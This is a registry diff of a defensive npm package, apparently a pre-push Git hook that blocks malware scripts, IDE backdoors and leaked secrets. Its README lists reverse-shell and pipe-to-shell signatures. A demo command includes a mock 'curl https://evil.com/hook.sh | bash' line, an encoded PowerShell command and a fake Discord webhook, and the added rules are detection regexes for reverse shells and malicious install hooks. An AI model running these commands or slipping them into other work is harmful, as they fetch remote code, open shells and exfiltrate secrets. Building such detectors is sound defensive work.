@arifbiswas/git-pre-push 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +143 -112
- package/bin/cli.js +19 -0
- package/package.json +2 -2
- package/src/rules/payloads.js +14 -0
package/README.md
CHANGED
|
@@ -1,156 +1,185 @@
|
|
|
1
1
|
# 🛡️ git-pre-push (GitSafty)
|
|
2
2
|
|
|
3
|
-
> **
|
|
4
|
-
>
|
|
3
|
+
> **Zero-Dependency Pre-Push Security Guard & Infostealer Blocker for Git.**
|
|
4
|
+
> Intercepts `git push` in real-time to prevent malware, Trojan scripts, compromised IDE configs, and leaked credentials from ever reaching GitHub or poisoning your software supply chain.
|
|
5
5
|
|
|
6
|
-
[-brightgreen.svg)](#-zero-external-runtime-dependencies)
|
|
9
|
-
[](https://www.npmjs.com/package/@arifbiswas/git-pre-push)
|
|
7
|
+
[](LICENSE)
|
|
8
|
+
[-brightgreen.svg?style=flat-square)](#-zero-external-runtime-dependencies)
|
|
9
|
+
[](#-test-coverage)
|
|
10
|
+
[](#-cross-platform--zero-dependencies)
|
|
10
11
|
|
|
11
12
|
---
|
|
12
13
|
|
|
13
|
-
## 📌
|
|
14
|
+
## 📌 Why Do You Need This?
|
|
14
15
|
|
|
15
|
-
|
|
16
|
-
1. আপনার কোডবেজে ক্ষতিকর স্ক্রিপ্ট ইনজেক্ট করে (যেমন: `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`)।
|
|
17
|
-
2. `.vscode/tasks.json` বা `.vscode/settings.json` ফাইলে ব্যাকডোর তৈরি করে, যাতে অন্য কোনো ডেভেলপার বা আপনি প্রোজেক্ট ওপেন করলেই ম্যালওয়্যার অটো-রান হয়ে যায়।
|
|
18
|
-
3. আপনার প্রোজেক্টের `.env` ফাইল বা প্রাইভেট এপিআই কী Discord Webhook বা Telegram Bot-এ পাচার করে।
|
|
19
|
-
4. সবচেয়ে মারাত্মক বিষয়: আপনার পিসির সংরক্ষিত GitHub Credentials বা SSH Key ব্যবহার করে **অটোমেটিকভাবে GitHub-এ ম্যালওয়্যার পুশ করে দেয়!**
|
|
20
|
-
5. এর ফলে আপনার পুরো টিম এবং ক্লায়েন্টদের সফটওয়্যার সাপ্লাই চেইন (Supply Chain) আক্রান্ত হয়ে পড়ে।
|
|
16
|
+
Developer workstations are high-value targets for infostealer malware (RedLine, Lumma, Vidar, etc.) and supply-chain attacks. Once a machine is compromised, malware silently:
|
|
21
17
|
|
|
22
|
-
|
|
23
|
-
|
|
18
|
+
1. **Injects auto-commit/push scripts** into your Git repositories (e.g., `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`).
|
|
19
|
+
2. **Backdoors your IDE configs** (e.g., `.vscode/tasks.json` with `runOn: "folderOpen"`) so that opening the project immediately triggers remote shell execution on any teammate's machine.
|
|
20
|
+
3. **Exfiltrates secrets & `.env` files** to attacker-controlled Discord webhooks or Telegram bots.
|
|
21
|
+
4. **Leverages stored Git credentials / SSH keys** to automatically push backdoored code straight to GitHub.
|
|
22
|
+
5. **Poisons the Software Supply Chain**, affecting every teammate who pulls the code and every production build deployed from it.
|
|
23
|
+
|
|
24
|
+
**`git-pre-push` stops this attack chain at the source.**
|
|
25
|
+
Whenever `git push` is invoked—from terminal, VS Code UI, or any Git GUI—it intercepts the push in milliseconds, inspects outgoing files and commit diffs, and **hard-blocks the push** if any malicious patterns are found.
|
|
24
26
|
|
|
25
27
|
---
|
|
26
28
|
|
|
27
|
-
## 🚀
|
|
29
|
+
## 🚀 Quick Start
|
|
28
30
|
|
|
29
|
-
###
|
|
31
|
+
### Option 1: Automatic Setup via npm (Recommended)
|
|
30
32
|
|
|
31
|
-
|
|
33
|
+
Add `git-pre-push` to your project:
|
|
32
34
|
|
|
33
35
|
```bash
|
|
34
|
-
npm install -D git-pre-push
|
|
36
|
+
npm install -D @arifbiswas/git-pre-push
|
|
35
37
|
```
|
|
36
38
|
|
|
37
|
-
>
|
|
39
|
+
> **Zero Configuration Required:** The `postinstall` script automatically installs the `.git/hooks/pre-push` guard in your repository.
|
|
38
40
|
|
|
39
41
|
---
|
|
40
42
|
|
|
41
|
-
###
|
|
43
|
+
### Option 2: Instant Setup via npx (Zero Installation)
|
|
42
44
|
|
|
43
|
-
|
|
45
|
+
In any Git repository, run:
|
|
44
46
|
|
|
45
47
|
```bash
|
|
46
|
-
npx git-pre-push init
|
|
48
|
+
npx @arifbiswas/git-pre-push init
|
|
47
49
|
```
|
|
48
50
|
|
|
49
|
-
|
|
51
|
+
Your repository is immediately protected.
|
|
50
52
|
|
|
51
53
|
---
|
|
52
54
|
|
|
53
|
-
###
|
|
55
|
+
### Option 3: Lock Down an Entire Machine (Global Protection)
|
|
54
56
|
|
|
55
|
-
|
|
57
|
+
If you suspect your workstation has been compromised, lock down **all Git repositories on your computer** with a single command:
|
|
56
58
|
|
|
57
59
|
```bash
|
|
58
|
-
npx git-pre-push init --global
|
|
60
|
+
npx @arifbiswas/git-pre-push init --global
|
|
59
61
|
```
|
|
60
62
|
|
|
61
|
-
|
|
63
|
+
This configures `git config --global core.hooksPath`, ensuring every repository on your PC runs the security scanner before any push.
|
|
62
64
|
|
|
63
65
|
---
|
|
64
66
|
|
|
65
|
-
## ⚡
|
|
67
|
+
## ⚡ How It Works
|
|
66
68
|
|
|
67
69
|
```
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
(
|
|
70
|
+
Developer or Malware executes: git push
|
|
71
|
+
│
|
|
72
|
+
▼
|
|
73
|
+
Git triggers: .git/hooks/pre-push
|
|
74
|
+
│
|
|
75
|
+
▼
|
|
76
|
+
🛡️ GitSafty Scanner Engine (< 5ms)
|
|
77
|
+
┌─────────────────────────────────────────────────────────┐
|
|
78
|
+
│ 1. Blacklist check (temp_*_push.bat, .exe, .ps1, .vbs) │
|
|
79
|
+
│ 2. Outgoing commit diff inspection for payload cradles │
|
|
80
|
+
│ 3. IDE backdoor inspection (.vscode/tasks.json, .idea) │
|
|
81
|
+
│ 4. Credential & secret leak detection (.env, RSA keys) │
|
|
82
|
+
└─────────────────────────────────────────────────────────┘
|
|
83
|
+
│
|
|
84
|
+
┌─────────────────────┴─────────────────────┐
|
|
85
|
+
▼ ▼
|
|
86
|
+
[Threats Found] [Clean Scan]
|
|
87
|
+
│ │
|
|
88
|
+
❌ PUSH REJECTED ✅ PUSH ALLOWED
|
|
89
|
+
(Malware blocked locally) (Pushed cleanly to GitHub)
|
|
88
90
|
```
|
|
89
91
|
|
|
90
92
|
---
|
|
91
93
|
|
|
92
|
-
## 🎯
|
|
93
|
-
|
|
94
|
-
###
|
|
95
|
-
- `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
|
|
96
|
-
-
|
|
97
|
-
-
|
|
98
|
-
|
|
99
|
-
###
|
|
100
|
-
- PowerShell
|
|
101
|
-
-
|
|
102
|
-
-
|
|
103
|
-
-
|
|
104
|
-
- Windows LOLBins
|
|
105
|
-
-
|
|
106
|
-
|
|
107
|
-
###
|
|
108
|
-
- `.vscode/tasks.json
|
|
109
|
-
- `.vscode/settings.json
|
|
110
|
-
- JetBrains `.idea
|
|
111
|
-
|
|
112
|
-
###
|
|
113
|
-
- Discord
|
|
114
|
-
- Telegram Bot
|
|
115
|
-
-
|
|
116
|
-
-
|
|
117
|
-
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
94
|
+
## 🎯 Threat Detection Capabilities
|
|
95
|
+
|
|
96
|
+
### 1. Injected Scripts & Trojan Filenames
|
|
97
|
+
- Known malicious auto-push scripts: `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
|
|
98
|
+
- Blocked executable extensions: `*.exe`, `*.scr`, `*.msi`, `*.dll`, `*.vbs`, `*.ps1`, `*.hta`, `*.pif`, `*.cpl`
|
|
99
|
+
- Deceptive double-extension tricks: `document.pdf.exe`, `invoice.xlsx.bat`
|
|
100
|
+
|
|
101
|
+
### 2. Obfuscated Payloads & Reverse Shells
|
|
102
|
+
- PowerShell obfuscated execution: `powershell -enc`, `powershell -encodedcommand`
|
|
103
|
+
- Web download cradles: `Invoke-WebRequest`, `DownloadString`, `IEX`
|
|
104
|
+
- Remote pipe-to-shell: `curl ... | bash`, `wget ... | sh`, `curl ... | python`
|
|
105
|
+
- Dynamic base64 evaluation: `eval(base64_decode(...))`, `Buffer.from(..., 'base64')`
|
|
106
|
+
- Windows LOLBins abuse: `certutil -urlcache`, `bitsadmin /transfer`, `mshta http`
|
|
107
|
+
- TCP socket reverse shells: `/bin/sh -i >& /dev/tcp/...`, `nc -e /bin/sh`
|
|
108
|
+
|
|
109
|
+
### 3. IDE Configuration Backdoors
|
|
110
|
+
- `.vscode/tasks.json`: Auto-executing shell tasks triggered on folder open (`runOn: "folderOpen"`)
|
|
111
|
+
- `.vscode/settings.json`: Malicious terminal profile overrides or shell binary path hijacking
|
|
112
|
+
- JetBrains `.idea/`: Suspicious external tool execution in `workspace.xml` or `tasks.xml`
|
|
113
|
+
|
|
114
|
+
### 4. Credential Exfiltration & Secret Leaks
|
|
115
|
+
- Hardcoded Discord webhook dumps (`https://discord.com/api/webhooks/...`)
|
|
116
|
+
- Telegram Bot token exfiltration endpoints
|
|
117
|
+
- Temporary file drop & webhook logging services (`webhook.site`, `pipedream.net`, `filebin.net`)
|
|
118
|
+
- Unencrypted production `.env` files being committed
|
|
119
|
+
- Leaked cryptographic private keys (`BEGIN RSA PRIVATE KEY`, `ghp_...`, AWS Access Keys)
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## 🛠️ CLI Command Reference
|
|
124
|
+
|
|
125
|
+
| Command | Description |
|
|
126
|
+
|---|---|
|
|
127
|
+
| `npx @arifbiswas/git-pre-push init` | Installs the pre-push security hook into `.git/hooks/pre-push` |
|
|
128
|
+
| `npx @arifbiswas/git-pre-push init --global` | Protects **all** Git repositories across the entire PC |
|
|
129
|
+
| `npx @arifbiswas/git-pre-push scan` | Manually audits workspace files, untracked scripts & staged diffs |
|
|
130
|
+
| `npx @arifbiswas/git-pre-push clean` | Unstages and quarantines injected malware files to `.git/git-safty-quarantine/` |
|
|
131
|
+
| `npx @arifbiswas/git-pre-push action` | Generates a `.github/workflows/git-safty.yml` CI workflow |
|
|
132
|
+
| `npx @arifbiswas/git-pre-push uninstall` | Cleanly removes the hook from `.git/hooks` |
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## 🧹 Quarantine & Remediation (`clean`)
|
|
137
|
+
|
|
138
|
+
If malware has already generated files in your project, clean them up instantly:
|
|
139
|
+
|
|
121
140
|
```bash
|
|
122
|
-
npx git-pre-push clean
|
|
141
|
+
npx @arifbiswas/git-pre-push clean
|
|
123
142
|
```
|
|
124
|
-
এটি সাথে সাথে রিপোজিটরির সব সংক্রামিত ফাইল শনাক্ত করে গিট ইনডেক্স থেকে আনস্টেজ করবে এবং নিরাপদ কোয়ারেন্টাইন ডিরেক্টরিতে (`.git/git-safty-quarantine/`) পাঠিয়ে দেবে।
|
|
125
143
|
|
|
126
|
-
|
|
127
|
-
|
|
144
|
+
```
|
|
145
|
+
================================================================
|
|
146
|
+
🛡️ GitSafty: Pre-Push Malware & Secret Guard
|
|
147
|
+
================================================================
|
|
148
|
+
Scanning workspace for injected malware scripts to quarantine...
|
|
149
|
+
|
|
150
|
+
⚠ Quarantined 2 malicious file(s):
|
|
151
|
+
✖ temp_auto_push.bat
|
|
152
|
+
✖ config.bat
|
|
153
|
+
|
|
154
|
+
✔ Cleaned from staging area and moved to quarantine folder (.git/git-safty-quarantine/).
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## 🛡️ Defense-in-Depth: GitHub Actions CI Guard
|
|
160
|
+
|
|
161
|
+
To guard against attackers attempting to bypass local hooks using `git push --no-verify`, install the GitHub Actions workflow:
|
|
162
|
+
|
|
128
163
|
```bash
|
|
129
|
-
npx git-pre-push action
|
|
164
|
+
npx @arifbiswas/git-pre-push action
|
|
130
165
|
```
|
|
131
|
-
এটি রিপোজিটরিতে `.github/workflows/git-safty.yml` ফাইল তৈরি করে দেবে। ফলে কেউ লোকাল হুক এড়িয়ে পুশ দিলেও GitHub Actions-এ PR বা পুশ সাথে সাথে ফেইল হয়ে ব্লক হয়ে যাবে।
|
|
132
166
|
|
|
133
|
-
|
|
134
|
-
আমরা `server/` ডিরেক্টরিতে একটি সম্পূর্ণ লাইটওয়েট ক্লাউড স্ক্যানার ইঞ্জিন তৈরি করেছি যা GitHub Webhook বা GitHub REST API-এর মাধ্যমে রিমোট রিপোজিটরির ফুল ফাইল ট্রি স্ক্যান করতে পারে এবং ম্যালওয়্যার পাওয়া গেলে স্বয়ংক্রিয়ভাবে `git commit` দিয়ে ফাইল রিমুভ (Auto-Remediation) করতে পারে।
|
|
167
|
+
This creates `.github/workflows/git-safty.yml`. Any pull request or push containing blacklisted scripts or suspicious payloads will fail CI on GitHub's servers automatically.
|
|
135
168
|
|
|
136
169
|
---
|
|
137
170
|
|
|
138
|
-
##
|
|
171
|
+
## ☁️ Cloud Scanner & Webhook Platform (`server/`)
|
|
139
172
|
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
| `npx git-pre-push scan` | বর্তমান ওয়ার্কস্পেস ও স্টেজড ফাইলে কোনো ম্যালওয়্যার আছে কিনা অডিট করে |
|
|
145
|
-
| `npx git-pre-push clean` | ম্যালওয়্যারের ইনজেক্ট করা সব ফাইল কোয়ারেন্টাইনে পাঠিয়ে পিসি সুরক্ষিত করে |
|
|
146
|
-
| `npx git-pre-push action` | সার্ভার-সাইড সুরক্ষার জন্য GitHub Actions CI ওয়ার্কফ্লো তৈরি করে |
|
|
147
|
-
| `npx git-pre-push uninstall` | রিপোজিটরি থেকে হুকটি পরিষ্কারভাবে রিমুভ করে |
|
|
173
|
+
The repository includes a standalone cloud scanner microservice in `server/` that integrates with GitHub Apps and Webhooks:
|
|
174
|
+
- **Webhook Endpoint (`POST /webhook`):** Verifies HMAC SHA-256 signatures and audits incoming pushes.
|
|
175
|
+
- **REST Scan API (`POST /api/scan`):** Recursively fetches remote repository trees (`/git/trees/{sha}?recursive=1`) and inspects file blobs.
|
|
176
|
+
- **Auto-Remediation:** Automatically creates remediation commits via GitHub REST API to isolate and remove compromised files.
|
|
148
177
|
|
|
149
178
|
---
|
|
150
179
|
|
|
151
|
-
## ⚙️
|
|
180
|
+
## ⚙️ Optional Configuration (`.gitsafetyrc.json`)
|
|
152
181
|
|
|
153
|
-
|
|
182
|
+
Works out-of-the-box with zero configuration. You can optionally customize behavior with a `.gitsafetyrc.json` file in your project root:
|
|
154
183
|
|
|
155
184
|
```json
|
|
156
185
|
{
|
|
@@ -164,44 +193,46 @@ npx git-pre-push action
|
|
|
164
193
|
|
|
165
194
|
---
|
|
166
195
|
|
|
167
|
-
## 💎
|
|
196
|
+
## 💎 Comparison: Why git-pre-push Stands Out
|
|
168
197
|
|
|
169
|
-
|
|
|
198
|
+
| Feature | Generic Git Hooks / Linters | git-pre-push |
|
|
170
199
|
|---|:---:|:---:|
|
|
171
|
-
| **
|
|
172
|
-
|
|
|
173
|
-
|
|
|
174
|
-
| **Infostealer
|
|
175
|
-
| **IDE
|
|
176
|
-
|
|
|
177
|
-
|
|
|
178
|
-
|
|
|
200
|
+
| **Runtime Dependencies** | ❌ 50+ packages (heavy) | ✅ **0 (Pure Node.js built-ins)** |
|
|
201
|
+
| **Supply Chain Vulnerability** | ⚠️ High (dependency tree) | 🛡️ **Zero** (no external modules) |
|
|
202
|
+
| **Execution Overhead** | 🐢 1 - 3 seconds | ⚡ **< 5 milliseconds** |
|
|
203
|
+
| **Infostealer Malware Detection** | ❌ No | ✅ **Full signature & payload engine** |
|
|
204
|
+
| **IDE Backdoor Detection (.vscode)** | ❌ No | ✅ **Built-in static analysis** |
|
|
205
|
+
| **Global Machine Lockdown (`--global`)** | ❌ No | ✅ **One-command PC protection** |
|
|
206
|
+
| **Auto-Quarantine Cleaner (`clean`)** | ❌ No | ✅ **Automatic remediation** |
|
|
207
|
+
| **Shell Fallback Guard** | ❌ No | ✅ **Built-in POSIX shell fallback** |
|
|
179
208
|
|
|
180
209
|
---
|
|
181
210
|
|
|
182
|
-
## 🧪
|
|
211
|
+
## 🧪 Test Coverage
|
|
183
212
|
|
|
184
|
-
|
|
213
|
+
Verified with Node.js native test runner across all supported platforms:
|
|
185
214
|
|
|
186
215
|
```bash
|
|
187
216
|
npm test
|
|
188
217
|
```
|
|
189
218
|
```
|
|
219
|
+
✔ Cloud Scanner Webhook Signature Verification (2 tests)
|
|
220
|
+
✔ Cloud Scanner Remote Tree Audit (1 test)
|
|
190
221
|
✔ Filename & Extension Checks (4 tests)
|
|
191
222
|
✔ Payload Signatures Detection (5 tests)
|
|
192
223
|
✔ Secret & Credential Checks (3 tests)
|
|
193
224
|
✔ IDE Configuration Tampering (2 tests)
|
|
194
225
|
✔ Hook Installer and Uninstaller (1 test)
|
|
195
226
|
|
|
196
|
-
ℹ tests
|
|
227
|
+
ℹ tests 18 | pass 18 | fail 0 | duration_ms ~300ms
|
|
197
228
|
```
|
|
198
229
|
|
|
199
230
|
---
|
|
200
231
|
|
|
201
|
-
## 📄
|
|
232
|
+
## 📄 License
|
|
202
233
|
|
|
203
234
|
MIT License © 2026
|
|
204
235
|
|
|
205
236
|
---
|
|
206
237
|
|
|
207
|
-
**
|
|
238
|
+
**Built with 🛡️ to safeguard developers, teams, and the global software supply chain.**
|
package/bin/cli.js
CHANGED
|
@@ -20,6 +20,25 @@ async function main() {
|
|
|
20
20
|
runManualScan();
|
|
21
21
|
break;
|
|
22
22
|
|
|
23
|
+
case 'demo':
|
|
24
|
+
case 'test-run': {
|
|
25
|
+
banner();
|
|
26
|
+
console.log(`${colors.cyan}Simulating a malicious push intercept test...${colors.reset}\n`);
|
|
27
|
+
const { scanFilesAndDiff } = require('../src/scanner');
|
|
28
|
+
const { printReport, printBlockMessage } = require('../src/reporter');
|
|
29
|
+
|
|
30
|
+
const mockFiles = ['src/app.js', 'temp_auto_push.bat', '.vscode/tasks.json'];
|
|
31
|
+
const mockDiff = `+ powershell.exe -enc SQBFAFgAIAAoAE4AZQB3...
|
|
32
|
+
+ curl -fsSL https://evil.com/hook.sh | bash
|
|
33
|
+
+ const webhook = "https://discord.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";`;
|
|
34
|
+
|
|
35
|
+
const result = scanFilesAndDiff(mockFiles, mockDiff);
|
|
36
|
+
printReport(result);
|
|
37
|
+
printBlockMessage();
|
|
38
|
+
console.log(`${colors.green}${colors.bold}✔ Simulation Complete:${colors.reset} In a real git push, GitSafty will immediately exit 1 and reject the push!\n`);
|
|
39
|
+
break;
|
|
40
|
+
}
|
|
41
|
+
|
|
23
42
|
case 'clean':
|
|
24
43
|
case 'fix': {
|
|
25
44
|
banner();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@arifbiswas/git-pre-push",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "Zero-dependency pre-push security guard that stops malware, injected scripts, and leaked secrets from reaching GitHub.",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -18,7 +18,7 @@
|
|
|
18
18
|
"LICENSE"
|
|
19
19
|
],
|
|
20
20
|
"scripts": {
|
|
21
|
-
"test": "node --test
|
|
21
|
+
"test": "node --test",
|
|
22
22
|
"init": "node bin/cli.js init",
|
|
23
23
|
"scan": "node bin/cli.js scan",
|
|
24
24
|
"postinstall": "node scripts/postinstall.js"
|
package/src/rules/payloads.js
CHANGED
|
@@ -78,6 +78,12 @@ const PAYLOAD_SIGNATURES = [
|
|
|
78
78
|
severity: 'CRITICAL',
|
|
79
79
|
description: 'Direct interactive reverse shell socket invocation.'
|
|
80
80
|
},
|
|
81
|
+
{
|
|
82
|
+
name: 'Python/Perl One-Liner Reverse Shell',
|
|
83
|
+
regex: /(python[23]?\s+-c\s+['"].*import\s+(socket|subprocess).*connect\(|perl\s+-e\s+['"].*use\s+Socket.*connect\()/i,
|
|
84
|
+
severity: 'CRITICAL',
|
|
85
|
+
description: 'One-liner Python/Perl interactive reverse shell payload.'
|
|
86
|
+
},
|
|
81
87
|
|
|
82
88
|
// 6. Suspicious Exfiltration Endpoints in scripts
|
|
83
89
|
{
|
|
@@ -97,6 +103,14 @@ const PAYLOAD_SIGNATURES = [
|
|
|
97
103
|
regex: /https?:\/\/(webhook\.site|requestbin\.(com|net)|pipedream\.net|filebin\.net)\/[a-z0-9-]+/i,
|
|
98
104
|
severity: 'WARNING',
|
|
99
105
|
description: 'Temporary upload or webhook logging service detected.'
|
|
106
|
+
},
|
|
107
|
+
|
|
108
|
+
// 7. Malicious package lifecycle hooks
|
|
109
|
+
{
|
|
110
|
+
name: 'Suspicious Network Call in npm Script',
|
|
111
|
+
regex: /(preinstall|postinstall)\s*:\s*['"][^'"]*(curl|wget|powershell|certutil)\s+/i,
|
|
112
|
+
severity: 'CRITICAL',
|
|
113
|
+
description: 'npm lifecycle hook executing remote network downloads upon installation.'
|
|
100
114
|
}
|
|
101
115
|
];
|
|
102
116
|
|